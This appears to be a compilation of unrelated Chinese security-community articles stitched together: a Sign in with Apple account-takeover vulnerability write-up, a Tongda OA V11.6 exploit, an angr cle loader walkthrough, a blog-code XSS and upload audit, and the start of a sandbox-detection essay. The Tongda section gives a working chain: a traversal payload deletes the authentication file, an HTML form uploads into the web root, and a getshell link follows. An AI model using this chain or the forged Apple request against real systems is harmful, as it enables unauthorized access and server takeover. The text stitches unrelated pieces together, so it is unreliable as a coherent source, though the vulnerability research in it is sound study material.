* 您可以使用“隐藏邮件地址”（Apple 的私密电子邮件中转服务）来创建一个唯一的随机电子邮件地址，并借用这个地址将邮件转发到您的个人电子邮件地址。这样一来，您不用共享自己的个人电子邮件地址，就可以收到由 App 发送的有用邮件。
* 在使用您的 App 和网站时，“通过 Apple 登录”功能既不会跟踪您，也不会分析您的特征。Apple 只会保留必要的信息，以确保您能够登录和管理自己的帐户。
* “通过 Apple 登录”功能内建了具有双重认证的安全保护机制。如果您在使用 Apple 设备，则可以随时通过面容 ID 或触控 ID 进行登录和重新认证。
除了"隐私和安全性"，还有便利性等优点，不展开说了。
#### 怎么用Sign in with Apple
参考官方资料 <https://support.apple.com/en-us/HT211687>
在 iPhone、iPad、iPod touch 或 Mac 上使用 “通过 Apple 登录” 功能创建帐户
在参加计划的 App 中或网站上，轻点“通过 Apple 登录”按钮。
比如“微博海外版”app的登录：
如果 App 或网站要求您提供姓名和电子邮件地址，“通过 Apple 登录”功能会自动填写您 Apple ID
中的信息。如果您愿意，可以编辑自己的姓名，然后选取“共享我的电子邮件”或“隐藏邮件地址”。
轻点“继续”，然后通过面容 ID、触控 ID 或设备密码确认登录。
每当您需要登录相应 App 或网站时，只需轻点 “通过 Apple 登录” 按钮，然后通过面容 ID、触控 ID 或设备密码进行确认即可。
在您登录了同一 Apple ID 的其他 Apple 设备上，操作方法是一样的。
#### 哪些APP支持Sign in with Apple
Adobe，TikTok，Dropbox，Spotify，Airbnb等。
### 漏洞简介
参考 <https://bhavukjain.com/blog/2020/05/30/zeroday-signin-with-apple/>
2020年4月份，Bhavuk Jain (<https://twitter.com/bhavukjain1>) 发现了Sign in with
Apple的一个0day漏洞。
对于此漏洞，Apple根据Apple Security Bounty计划向Bhavuk Jain支付了100,000美元。
该漏洞的危害：任意登录第三方APP。
具体说就是，攻击者只需要知道(可枚举)任意一个Apple ID的邮箱地址，就可以用这个Apple ID的身份，登录、接管这个Apple
ID在第三方APP上的用户帐户。
### 工作原理
Sign in with Apple的工作原理与OAuth 2.0类似。
* 第三方APP对用户的身份进行"身份验证"(authenticate)只有这2种方法:
* 认证方法1 使用Apple服务器生成的一个JWT (JSON Web Token)
* 认证方法2 使用Apple服务器生成的一段代码，这段代码的作用是生成一个JWT。
下面这个逻辑图，说明了"Sign in with Apple"的工作逻辑，包括JWT的创建和验证(validation)，共6步：
**注意：图里的箭头是逻辑含义，并不代表HTTP请求与响应方向！**
第1步(Authorization Request) 的作用: 个人理解是，如果你在这一步成功登录了你的Apple
ID，那么Apple确定了你的身份，你是已注册的合法的苹果用户。这是第2步的基础。
第2步(Authorization Granted) 的作用：为你当前的Apple
ID创建一个可以登录第三方APP（如微博海外版）的合法凭证，并把它返回给客户端。
拿着这个合法凭证，那么后续所有的步骤(逻辑图第3-6步)都能顺利完成，否则后续流程被打断。
第2步(Authorization Granted) 的具体过程：
* 在第2步中，在授权(authorizing)时，Apple会向用户提供一个选项，可以选择是否与第三方APP共享Apple Email ID(Apple电子邮件ID):
* 如果用户选择了不隐藏Email ID，那就使用Email ID。
* 如果用户选择了隐藏Email ID，则Apple会生成它自己的特定于用户的Apple relay Email ID(Apple中转电子邮件ID)。
个人理解：对一个第三方APP来说，用户做这个选择只能做一次。
举个例子，用户第一次用"Sign in with Apple"登录微博海外版时(相当于创建账号), 如果用户选择"隐藏Email
ID"(使用Apple的“私密电子邮件中转服务”生成的地址), 那么用户以后用"Sign in with Apple"登录微博海外版时,
都会直接使用之前Apple为这个用户生成的“私密电子邮件中转服务”的地址。
根据用户选择，如果第2步顺利完成(成功授权)，即: Apple服务器将为这个用户创建1个凭证，这个凭证包含了具有 **Email ID(或Apple
relay Email ID)** 的JWT，并将这个凭证返回给客户端。
一个JWT，分为3部分，其中的payload，经过解码后如下所示：
{
"iss": "https://appleid.apple.com",
"aud": "com.XXXX.weblogin",
"exp": 158XXXXXXX,
"iat": 158XXXXXXX,
"sub": "XXXX.XXXXX.XXXX",
"c_hash": "FJXwx9EHQqXXXXXXXX",
"email": "[email protected]", // 用户个人邮件地址. // or "[email protected]" Apple的“私密电子邮件中转服务”生成的地址
"email_verified": "true",
"auth_time": 158XXXXXXX,
"nonce_supported": true
}
之后客户端就用这个合法凭证，完成后续所有的步骤(逻辑图第3-6步)。
### 漏洞分析
漏洞具体出在逻辑图里的哪一步？ 第2步(Authorization Granted)。
Bhavuk Jain发现，登录Apple ID之后(完成里第1步)，可以向Apple服务器发一个HTTP request(将其中的JWT中的Email
ID改成任意的一个Email ID), 使用Apple的公钥验证了这些token的签名之后，这些token就显示为有效的。
从结果来看:
攻击者可以用任意一个Email ID获取到对应的合法凭证(JWT)，然后顺理成章获得这个账户的访问权。
从具体过程来看:
第2步(Authorization Granted) 中发出的HTTP请求是这样的，只有一个参数`email`，没有任何其他参数!
( 在2020.11.5我专门抓包看了修复漏洞后的这个HTTP请求, 加入了其他参数, 如nonce 和 **encryptedToken** )
Sample Request (2nd step):
POST /XXXX/XXXX HTTP/1.1
Host: appleid.apple.com
{"email":"[email protected]"}
传递 **任意** 一个email, Apple就为这个特定的Email ID生成了一个 **有效的JWT** (id_token)!!
并返回给客户端。这个逻辑显然是有问题的。
Sample Response Body:
{
"authorization" : {
"id_token" : "eyJraWQiOiJlWGF1bm1MIiwiYWxnIjoiUlMyNTYifQ.XXXXX.XXXXX",
"grant_code" : "XXX.0.nzr.XXXX",
"scope" : [ "name", "email" ]
},
"authorizedData" : {
"userId" : "XX6位数字XX.XX32位小写字母数字混合XX.X4位数字X"
},
"consentRequired" : false
}
这个漏洞的影响非常严重，因为它能实现完全的"帐户接管"(account takeover)。
许多开发人员已经集成了"Sign in with Apple", 因为对于支持了"其他社交登录"(other social
logins)的APP来说这是强制性的。
如“微博海外版”app，支持了qq登录，也要支持"Sign in with Apple"。
支持"Sign in with Apple"的APP有：Adobe，TikTok，Dropbox，Spotify，Airbnb等。
这些APP理论上都受影响。但实际上没做测试(不确定是否受影响)，如果这些APP在验证用户时未采取任何其他的安全措施进行验证,
那么很容易对这些APP实现"帐户接管"(account takeover)。
Apple还对他们的日志进行了调查，并确定没有由于此漏洞引起的滥用或"帐户泄露"(account compromise)。
非常感谢Apple Security Team.
### 修复方案
修复方案: 根据标准授权协议，充分校验来自客户端的数据。
具体来看下Apple的修复结果，逻辑图整体不变，改了逻辑图里第2步(Authorization Granted)的具体的HTTP请求、响应。
(仅供参考,非真实数据)
具体的 HTTP request:
POST /appleauth/auth/oauth/authorize HTTP/1.1
Host: appleid.apple.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://appleid.apple.com/auth/authorize?client_id=notion.signin&nonce=493758775e30f12a539b31bbad9d397792f725c55be255b3&redirect_uri=https%3A%2F%2Fwww.notion.so%2Fapplepopupcallback&response_type=code&response_mode=form_post&scope=name%20email&state=eyJjYWxsYmFja1R5cGUiOiJyZWRpcmVjdCIsImVuY3J5cHRlZFRva2VuIjoiYmU3MTg3M2JiZGY2ZmU1YjMwMTUwZWJjMmYyNmJmNGFhYTdhNzg0MDE5NDYxOGEyMGQyMTc4OWZhODg3ZGQxOTBjMDI0NzcwNGZlYTJmYmY4ZDU2NzMzYTZkZGVlNDAzNWEyZmE4YTQyOGM3MDkzN2RmYzhlZDVjMWEwZjMzN2FmNGYwMGE5MTczZWNmMDBjYTFkMmIxZmM1YTI2IiwiZW5jcnlwdGVkTm9uY2UiOiI3MTJjODYzMDk4OWYwZTVjOWI4MmVjN2U4MzhkN2MyNDJkOThiMTdjMjI1MjE5NzY5NWFlOTY3NDRiNzFjMTVjOTMxNzAyNDUxZjQ3YzBiYjA4ZGRmMDEzOTRhNjNmOTcxODllNWFjNDdlOWM0MTQyYzk4NTNiMjg3ZWJhNTk0OGY2OWE0ZDNhMjdiOTNmMGI4NGQ4YjE2ZGRmNGMwMThlNDQ0ZDY2MTQyZmYzY2Y0MTcwMmYifQ%3D%3D
Content-Type: application/json
X-Apple-Widget-Key: 91f19b472c5c9be6ab17f3ec2b1b2b7db4d00a9a8c973e3d6c90dac08b91de71
X-Apple-I-FD-Client-Info: {"U":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0","L":"zh-CN","Z":"GMT+08:00","V":"1.1","F":"V0a44j0e3NlY5BNlY5BSmHACVZXnN9138YHWuaWu_jpidPNs0ojpVMZ90L5H6fqUdHz13NldjV2pNk0ug9WK1RJdljf.j7J0gBZEKIxFMsI25BNlY5cklY5BqNAE.lTjV.EtU"}
X-Apple-ID-Session-Id: AEBE33C39E87473DED6397B311464C01
X-Apple-Auth-Attributes: L+TPt8FC4/GermNvQUQlWHUy01Z0ZVoWZ3V64ZkKi4A5MZXsjeged1aJH/UkUvari7Wau8/G631TwjLDTmAcDFR9PKcVqa0I1ppuAATIdRm9J94=
X-Apple-Privacy-Consent: true
X-Apple-Frame-Id: oauth-de322f88-6373-49d8-8a5f-d4474c09b1cc
X-Apple-OAuth-Client-Id: notion.signin
X-Apple-OAuth-Scopes: name email
X-Apple-OAuth-State: eyJjYWxsYmFja1R5cGUiOiJyZWRpcmVjdCIsImVuY3J5cHRlZFRva2VuIjoiYmU3MTg3M2JiZGY2ZmU1YjMwMTUwZWJjMmYyNmJmNGFhYTdhNzg0MDE5NDYxOGEyMGQyMTc4OWZhODg3ZGQxOTBjMDI0NzcwNGZlYTJmYmY4ZDU2NzMzYTZkZGVlNDAzNWEyZmE4YTQyOGM3MDkzN2RmYzhlZDVjMWEwZjMzN2FmNGYwMGE5MTczZWNmMDBjYTFkMmIxZmM1YTI2IiwiZW5jcnlwdGVkTm9uY2UiOiI3MTJjODYzMDk4OWYwZTVjOWI4MmVjN2U4MzhkN2MyNDJkOThiMTdjMjI1MjE5NzY5NWFlOTY3NDRiNzFjMTVjOTMxNzAyNDUxZjQ3YzBiYjA4ZGRmMDEzOTRhNjNmOTcxODllNWFjNDdlOWM0MTQyYzk4NTNiMjg3ZWJhNTk0OGY2OWE0ZDNhMjdiOTNmMGI4NGQ4YjE2ZGRmNGMwMThlNDQ0ZDY2MTQyZmYzY2Y0MTcwMmYifQ%3D%3D
X-Apple-OAuth-Redirect-URI: https://www.notion.so/applepopupcallback
X-Apple-OAuth-Response-Type: code
X-Apple-OAuth-Response-Mode: form_post
X-Apple-OAuth-Client-Type: thirdPartyAuth
X-Apple-OAuth-Require-Grant-Code: true
scnt: 1d42126e94a604b793442c68de1f3924
X-Requested-With: XMLHttpRequest
Content-Length: 814
Origin: https://appleid.apple.com
Connection: close
Cookie: dslang=CN-ZH; site=CHN; geo=CN; ccl=L/S0jx8GuOf+hFcV/16v/Q==
{"client":{"id":"notion.signin","redirectUri":"https://www.notion.so/applepopupcallback"},"scopes":[],"state":"eyJjYWxsYmFja1R5cGUiOiJyZWRpcmVjdCIsImVuY3J5cHRlZFRva2VuIjoiYmU3MTg3M2JiZGY2ZmU1YjMwMTUwZWJjMmYyNmJmNGFhYTdhNzg0MDE5NDYxOGEyMGQyMTc4OWZhODg3ZGQxOTBjMDI0NzcwNGZlYTJmYmY4ZDU2NzMzYTZkZGVlNDAzNWEyZmE4YTQyOGM3MDkzN2RmYzhlZDVjMWEwZjMzN2FmNGYwMGE5MTczZWNmMDBjYTFkMmIxZmM1YTI2IiwiZW5jcnlwdGVkTm9uY2UiOiI3MTJjODYzMDk4OWYwZTVjOWI4MmVjN2U4MzhkN2MyNDJkOThiMTdjMjI1MjE5NzY5NWFlOTY3NDRiNzFjMTVjOTMxNzAyNDUxZjQ3YzBiYjA4ZGRmMDEzOTRhNjNmOTcxODllNWFjNDdlOWM0MTQyYzk4NTNiMjg3ZWJhNTk0OGY2OWE0ZDNhMjdiOTNmMGI4NGQ4YjE2ZGRmNGMwMThlNDQ0ZDY2MTQyZmYzY2Y0MTcwMmYifQ==","anonymousEmail":true,"nonce":"493758775e30f12a539b31bbad9d397792f725c55be255b3","responseMode":"form_post","responseType":"code","email":"[email protected]"}
第2步(Authorization Granted) 具体的 HTTP response:
HTTP/1.1 200
Server: Apple
Date: Thu, 05 Nov 2020 06:24:53 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
X-Apple-I-Request-ID: 4b52ead3-4459-4ef1-bc55-d2cfe8344792
X-FRAME-OPTIONS: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Content-Security-Policy: default-src 'self'; script-src 'self' https://*.apple.com https://*.cdn-apple.com ; object-src 'self' https://*.apple-mapkit.com; style-src 'unsafe-inline' https://*.apple.com https://*.cdn-apple.com https://*.apple-mapkit.com ; img-src 'self' data: https://*.apple.com https://*.cdn-apple.com https://*.icloud.com https://*.mzstatic.com https://*.apple-mapkit.com ; media-src * data:; connect-src 'self' https://*.apple-mapkit.com; font-src 'self' https://*.apple.com https://*.cdn-apple.com; frame-src https://appleid.apple.com;
X-BuildVersion: R1-5
scnt: 6edb7d02cfaa17c57f5081897e32fdc9
Set-Cookie: dslang=CN-ZH; Domain=apple.com; Path=/; Secure; HttpOnly
Set-Cookie: site=CHN; Domain=apple.com; Path=/; Secure; HttpOnly
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Set-Cookie: aa=C6F5614A911D51D95F5F191DFD3AB310; Domain=idmsa.apple.com; Path=/; Secure; HttpOnly
vary: accept-encoding
Host: appleid.apple.com
Content-Length: 386
{
"authorization" : {
"grant_code" : "cf792423ba34f1534bdd22665956c5f70.0.rxts.i0EII7mMKbmFh5rW3Lihot",
"scope" : [ "name", "email" ]
},
"authorizedData" : {
"anonymousEmail" : "[email protected]",
"userId" : "000231.136da21fd4294323b784ac93afb3e261.0643"
},
"consentRequired" : false,
"enableSignInWithAppleNewFirstTimeRunScreen" : false
}
### 总结
Apple这个授权过程存在的逻辑漏洞再次证明了一个道理：
即使标准协议本身的安全性较高，但是研发人员根据标准协议做实现时如果不够严谨的话，可能引发严重的安全问题。 | 社区文章 |
# 影响范围
通达OA V11.6
# 漏洞简介
通过任意文件漏洞删除上传点包含的身份验证文件，从而造成未授权访问实现任意文件上传
# 漏洞分析
## 任意文件删除
漏洞触发点位于`module/appbuilder/assets/print.php`
$s_tmp = __DIR__ . "/../../../../logs/appbuilder/logs";
$s_tmp .= "/" . $_GET["guid"];
if (file_exists($s_tmp)) {
$arr_data = unserialize(file_get_contents($s_tmp));
unlink($s_tmp);
$s_user = $arr_data["user"];
}
else {
echo "未知参数";
exit();
}
传入参数`guid`通过`../`进行目录穿越实现任意文件删除
`payload:?guid=../../../webroot/inc/auth.inc.php`
## 未授权访问任意文件上传
漏洞触发点位于`general/data_center/utils/upload.php`
第三行有个身份验证
include_once "inc/auth.inc.php";
我们已经通过任意文件删除漏洞将其删除，然后就进入上传点
部分上传代码如下
if ($action == "upload") {
if ($filetype == "xls") {
$uploaddir = MYOA_ATTACH_PATH . "/data_center/templates/";
if (!is_dir(MYOA_ATTACH_PATH . "/data_center/templates")) {
if (!is_dir(MYOA_ATTACH_PATH . "/data_center")) {
mkdir(MYOA_ATTACH_PATH . "/data_center");
}
mkdir(MYOA_ATTACH_PATH . "/data_center/templates");
}
if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $_FILES["FILE1"]["name"])) {
}
}
else if ($filetype == "img") {
$uploaddir = MYOA_ATTACH_PATH . "/data_center/images/";
if (!is_dir(MYOA_ATTACH_PATH . "/data_center/images")) {
if (!is_dir(MYOA_ATTACH_PATH . "/data_center")) {
mkdir(MYOA_ATTACH_PATH . "/data_center");
}
mkdir(MYOA_ATTACH_PATH . "/data_center/images");
}
$s_n = $_FILES["FILE1"]["name"];
if ($s_n[0] != "{") {
$p = strrpos($s_n, ".");
$s_n = CreateId() . substr($s_n, $p);
}
if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $s_n)) {
}
}
else {
$uploaddir = MYOA_ATTACH_PATH . "/data_center/attachment/";
if (!is_dir(MYOA_ATTACH_PATH . "/data_center/attachment")) {
if (!is_dir(MYOA_ATTACH_PATH . "/data_center")) {
mkdir(MYOA_ATTACH_PATH . "/data_center");
}
mkdir(MYOA_ATTACH_PATH . "/data_center/attachment");
}
if (isset($from_rep)) {
if (($from_rep != "") && ($from_rep[0] == "{")) {
$repkid = GetRepKIDBySendId($from_rep);
if ($repkid != $to_rep) {
if (file_exists($uploaddir . "/" . $repkid . "_" . $filename)) {
copy($uploaddir . "/" . $repkid . "_" . $filename, $uploaddir . "/" . $to_rep . "_" . $filename);
}
}
}
else {
$arr = explode(",", $from_rep);
for ($i = 0; $i < count($arr); $i++) {
$p = strpos($arr[$i], ".");
$repno = substr($arr[$i], 0, $p);
$repkid = GetRepKIDByNo($repno);
if ($repkid != $to_rep) {
if (file_exists($uploaddir . "/" . $repkid . "_" . $filename)) {
copy($uploaddir . "/" . $repkid . "_" . $filename, $uploaddir . "/" . $to_rep . "_" . $filename);
break;
}
}
}
}
}
else {
$s_n = $_FILES["FILE1"]["name"];
if ($s_n[0] != "{") {
$s_n = $repkid . "_" . $s_n;
}
if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $s_n)) {
}
}
}
@unlink($_FILES["FILE1"]);
}
这串代码首先得满足`$action`的值等于upload，然后便是根据不同的上传类型进行不同的操作，这里如果上传类型是xls或img时，上传的目录内容是不允许访问的，会403。所以我们选择最后一种上传方法，这个时候传入`$filetype`为其它值就行。
这个时候我们不传入$from_rep就会进入else里面，代码如下
$s_n = $_FILES["FILE1"]["name"];
if ($s_n[0] != "{") {
$s_n = $repkid . "_" . $s_n;
}
if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $s_n)) {
}
可以看到传的文件名为`FILE1`，可以看到最终的上传路径是`$repkid`拼接在前，所以我们往`$repkid`传入`../`就可以实现上传到任意目录，比如网站根目录
祭出祖传html上传表单
<form action="http://192.168.117.131:8888/general/data_center/utils/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name='filetype' value ='ghtwf01'></input>
<input type="text"name='action' value ='upload'></input>
<input type="text"name='repkid' value ='../../../'></input>
<input type="file" name="FILE1"></input>
<input type="submit" ></input>
</body>
</form>
# 一键getshell
<https://github.com/ghtwf01/tdv11.6_rce> | 社区文章 |
# angr之cle加载模块
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近看到关于angr这一框架的分析,但对于某些部分讲的比较模糊,于是就根据个人理解重新写入一篇分析,如果有理解错误的地方,希望大家指正.
在project模块中,如果初始化参数时,参数不是cle.loader类,则使用cle模块的loader来加载二进制模块
cle.Loader(thing, **load_options)
在angr中首次调用loader类
## loader的作用
使用loader后可以查看加载文件的属性 以及一些共享库
## loader类的初始化
`hasattr(),判断对象是否有某一属性`
先解析传入参数的类型,路径或者文件对象
__init__(self,
main_binary,
auto_load_libs=True,
concrete_target = None,
force_load_libs=(),
skip_libs=(),
main_opts=None,
lib_opts=None,
ld_path=(),
use_system_libs=True,
ignore_import_version_numbers=True,
case_insensitive=False,
rebase_granularity=0x100000,
except_missing_libs=False,
aslr=False,
perform_relocations=True,
load_debug_info=False,
page_size=0x1,
preload_libs=(),
arch=None):
初始化参数 在最后调用下面的方法 `_internal_load` 进行初始化
self._internal_load(main_binary, *preload_libs , *force_load_libs, preloading=(main_binary, *preload_libs))
定义如下
def _internal_load(self, *args, preloading=()):
* 递归的加载依赖,知道所有依赖满足
* 解决符号依赖
* 布局地址空间
* 映射到内存
* 实现重定位
首先遍历参数,加载文件,根据传入参数可得 分别是`main_binary` 等一系列需要处理的文件
for main_spec in args:
is_preloading = any(spec is main_spec for spec in preloading)
if self.find_object(main_spec, extra_objects=objects) is not None:
l.info("Skipping load request %s - already loaded", main_spec)
continue
检查当前文件是否在已预加载目录中
#### find_object 如果给定的文件被加载 则返回obj本身否则返回none
def find_object(self, spec, extra_objects=()):
"""
If the given library specification has been loaded, return its object, otherwise return None.
"""
if isinstance(spec, Backend):
for obj in self.all_objects:
if obj is spec:
return obj
return None
`all_objects`在初始化时定义 默认为空 如果没有进行预加载 则通过`_load_object_isolated`加载文件
obj = self._load_object_isolated(main_spec)#加载文件
进入`_load_object_isolated`
def _load_object_isolated(self, spec):
if isinstance(spec, Backend):
return spec
elif hasattr(spec, 'read') and hasattr(spec, 'seek'):
.....
elif type(spec) in (bytes, str):
binary = self._search_load_path(spec) # this is allowed to cheat and do partial static loading
l.debug("... using full path %s", binary)
binary_stream = open(binary, 'rb')
分别对字符类型 Backend类型 文件流类型进行判断处理,最终将`binary_stream`作为结果输出
try:
# STEP 2: collect options 选项
if self.main_object is None:
options = dict(self._main_opts)
else:
for ident in self._possible_idents(binary_stream if binary is None else binary): # also allowed to cheat
if ident in self._lib_opts:
options = dict(self._lib_opts[ident])
break
else:
options = {}
进入`_possible_idents` ,在这里尝试通过`binary_stream`获取`backend`.
elif hasattr(spec, 'read') and hasattr(spec, 'seek'):
backend_cls = self._static_backend(spec, ignore_hints=True)
if backend_cls is not None:
soname = backend_cls.extract_soname(spec)
if soname is not None:
yield soname
if self._ignore_import_version_numbers:
yield soname.rstrip('.0123456789')
`_static_backend`会返回 对于文件的正确加载器 如果传递参数是未知的类型 或者 `blob`类型 则返回none
实现类似于`binwalk`来处理`blob`数据
`blob`是一个储存二进制的文件类型
with stream_or_path(spec) as stream:
for rear in ALL_BACKENDS.values():
if rear.is_default and rear.is_compatible(stream):
return rear
`ALL_BACKENDS`在`_init_.py`中 初始为空字典.
backends是cle里面的子项目
支持多种文件类型如`cgc` `elf` `java` `macho` `minidump` `pe` `tls`
对应每一个文件类型都会通过`register_backend`来更新
def register_backend(name, cls):
ALL_BACKENDS.update({name: cls})
因此 `ALL_BACKENDS` 被更新为cle支持的文件类型后台字典
def is_compatible(stream):
stream.seek(0)
identstring = stream.read(0x1000)
stream.seek(0)
if identstring.startswith(b'\x7fELF'):
if elftools.elf.elffile.ELFFile(stream).header['e_type'] == 'ET_CORE':
return False
return True
return False
每个类型都有一个类似的检查,通过文件头判断文件类型,从而选择对应的backend.
这样就很好理解了,
with stream_or_path(spec) as stream:
for rear in ALL_BACKENDS.values():
if rear.is_default and rear.is_compatible(stream):
return rear
对于传入的对应文件,遍历支持的backend 并通过is_compatlble检查,从而返回正确的backend ,
### 返回到_load_object_islated
# STEP 4: LOAD!
l.debug("... loading with %s", backend_cls)
result = backend_cls(binary, binary_stream, is_main_bin=self.main_object is None, loader=self, **options)
result.close()
return result#加载
backend_cls 由backend_reslover取得 返回值为 ALL_BACKEND 字典中的值 即文件对应的后台 即对应类
这些类定义在对应backends的文件中
result = backend_cls(binary, binary_stream, is_main_bin=self.main_object is None, loader=self, **options)
初始化对应后台类 并返回到`_internal_load`中
obj = self._load_object_isolated(main_spec)#加载文件
objects.append(obj)
objects.extend(obj.child_objects)
dependencies.extend(obj.deps)
`obj`获取到正确的类 对于不同的文件类型有不同的处理方式 另一种描述方法是 继承自`backend`类的对应类
将`obj` 和它的子类 添加到`objects`中
以及它的依赖 添加到 `dependencies`中
接下来开始基于正确的后台初始化 `main_object`为获取到的类
if self.main_object is None:
# this is technically the first place we can start to initialize things based on platform
self.main_object = obj
self.memory = Clemory(obj.arch, root=True)#分配内存
获取对应后台处理线程
chk_obj = self.main_object if isinstance(self.main_object, ELFCore) or not self.main_object.child_objects else self.main_object.child_objects[0]
if isinstance(chk_obj, ELFCore):
self.tls = ELFCoreThreadManager(self, obj.arch)
elif isinstance(obj, Minidump):
self.tls = MinidumpThreadManager(self, obj.arch)
elif isinstance(chk_obj, MetaELF):
self.tls = ELFThreadManager(self, obj.arch)
elif isinstance(chk_obj, PE):
self.tls = PEThreadManager(self, obj.arch)
else:
self.tls = ThreadManager(self, obj.arch)
跟进一个`ELFCoreThreadManager`中`__init__`
def __init__(self, loader, arch, **kwargs): # pylint: disable=unused-argument
self.loader = loader
self.arch = arch
self.threads = [ELFCoreThread(loader, arch, threadinfo) for threadinfo in loader.main_object._threads]
`loader.main_object._threads`同样在`backend`处理 这里猜测它是对于传输信息tls的处理
在深入backend后进行进一步处理
接下来处理以同样的方式处理依赖
在对于依赖这一部分的处理暂时不做深入考虑
然后映射到内存
for obj in objects:
self._map_object(obj)
处理重定位
if self._perform_relocations:
for obj in ordered_objects:
obj.relocate()
通过名称插入合适的映射
for obj in objects:
self.requested_names.update(obj.deps)
for ident in self._possible_idents(obj):
self._satisfied_deps[ident] = obj
if obj.provides is not None:
self.shared_objects[obj.provides] = obj
return objects
处理后返回对应object | 社区文章 |
## XSS
### 公告处XSS
在公告处 写入XSS 前台直接弹窗（鸡肋 谁会在自己的公告上写XSS）
`/ssm/blog/controller/admin/BackNoticeController.java`
这个更新 里面并没有对XSS防御
查看`updateNotice`方法
直接到Mapper中了 直接更新到数据库里了
看看前台显示的数据有什么处理
`/ssm/blog/controller/home/NoticeController.java`
发现这里从`getNoticeById`获取公告 跟进一下
依旧是直接从数据库中取出来。
### 评论处XSS
用户在前端评论
这里在后台查看这个评论
如果保存的话
会直接弹窗
我们查看一下源码
`/ssm/blog/controller/home/CommentController.java`
@Controller
@RestController
public class CommentController {
@Autowired
private CommentService commentService;
@Autowired
private ArticleService articleService;
@RequestMapping(value = "/comment", method = {RequestMethod.POST})
public JsonResult insertComment(HttpServletRequest request, Comment comment, HttpSession session) {
User user = (User) session.getAttribute("user");
if (user == null) {
return new JsonResult().fail("请先登录");
}
Article article = articleService.getArticleByStatusAndId(ArticleStatus.PUBLISH.getValue(), comment.getCommentArticleId());
if (article == null) {
return new JsonResult().fail("文章不存在");
}
comment.setCommentUserId(user.getUserId());
comment.setCommentCreateTime(new Date());
comment.setCommentIp(MyUtils.getIpAddr(request));
if (Objects.equals(user.getUserId(), article.getArticleUserId())) {
comment.setCommentRole(Role.OWNER.getValue());
} else {
comment.setCommentRole(Role.VISITOR.getValue());
}
comment.setCommentAuthorAvatar(user.getUserAvatar());
//过滤字符，防止XSS攻击
comment.setCommentContent(HtmlUtil.escape(comment.getCommentContent()));
comment.setCommentAuthorName(user.getUserNickname());
comment.setCommentAuthorEmail(user.getUserEmail());
comment.setCommentAuthorUrl(user.getUserUrl());
try {
commentService.insertComment(comment);
//更新文章的评论数
articleService.updateCommentCount(article.getArticleId());
} catch (Exception e) {
e.printStackTrace();
return new JsonResult().fail();
}
return new JsonResult().ok();
}
}
可以看到对于XSS这里只有使用`HtmlUtil.escape`用来防范XSS攻击
这里直接写payload直接绕过即可
### 添加友链处XSS
在前台友链申请 后台会出现XSS
查看一下 这里是两个弹窗 编辑一下 看看 哪个地方导致的XSS
发现名称和联系方式 均可导致XSS 而且在编辑这个友链请求的时候 也有一个弹窗
这里去源码处简单分析一下
`/ssm/blog/controller/admin/BackLinkController.java`
可以看到确实对XSS没有任何的防范，查看`linkService.listLink`
没有处理
发现linkList()方法只是返回一个`ModelAndView`类型的对象
## SQL注入
并没有审计的到sql注入的成果
在Mapper的XML文件中 并没有发现有拼接参数的痕迹 全部都是`#{}`的预编译
## 文件上传
这里文件上传 只允许上传`.bmp.jpg.jpeg.png.gif.pdf.doc.zip.rar.gz`这些个后缀
看看代码
`/ssm/blog/controller/admin/UploadFileController.java`
下面主要放对后缀及逆行判断的地方
public class UploadFileController {
/**
* 文件保存目录，物理路径
*/
// public final String rootPath = "/Users/liuyanzhao/Documents/uploads";
public final String rootPath = "D:\\uploads";
public final String allowSuffix = ".bmp.jpg.jpeg.png.gif.pdf.doc.zip.rar.gz";
/**
* 上传文件
*
* @param file
* @return
* @throws IOException
*/
@RequestMapping(value = "/img", method = RequestMethod.POST)
public JsonResult uploadFile(@RequestParam("file") MultipartFile file) {
//文件后缀过滤，只允许部分后缀
String filename = file.getOriginalFilename();
//文件名,如spring
String name = filename.substring(0, filename.indexOf("."));
//文件后缀,如.jpeg
String suffix = filename.substring(filename.lastIndexOf("."));
if (allowSuffix.indexOf(suffix) == -1) {
return new JsonResult().fail("不允许上传该后缀的文件！");
}
我挖洞挖的少,思路放不开来
这里传shell 感觉有点玄乎,但是K1115h0t师傅说可以上传个PDF整个存储XSS水个洞,尝试一下
这里前端直接传会有限制 ,改后缀抓包再改回来
上传成功 去访问头像
可能是我环境有问题吧
以上问题均已提交issue | 社区文章 |
**作者：风起
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
## 前言
大家好，我是风起，本次带来的是 **基于流量的沙箱识别技术**
。相信大家都知道，沙箱识别是老生常谈的话题了，目前大部分的识别方案都是基于样本侧去完成的，例如常规方式：
**硬件检查（CPU核心数、输入输出设备、内存）、鼠标移动检查、进程名、系统服务、开机时长**
等，都不能直观准确的识别出目标进行流量交互的服务器是否是沙箱环境。举个例子，之前看到有师傅使用鼠标移动检查的方式去识别目标是否是沙箱虚拟机环境，那么问题来了，这种方式在钓鱼的场景下我们知道目标是PC客户端有人使用这台电脑，但是对于目标是服务器场景的情况下这种方法就不适用了，运维人员并不会时刻都在每台服务器跟前操作，所以我们需要一种更加优雅的识别方式。
当然沙箱是快照还原，时间一般都存在问题的并且会进行sleep加速，也就是说这时候在样本恻进行延迟执行操作会被沙箱反调，一但样本被反调了，那么其样本就是所处异常环境下，这时候进行延迟几秒后获取本地时间就能够识别出异常，这当然也是一种很好的反调试手段。但是，上述这些操作都是在样本侧完成的，抛开需要定制化脚本实现功能，出现问题后进行排查等等都会比较麻烦。
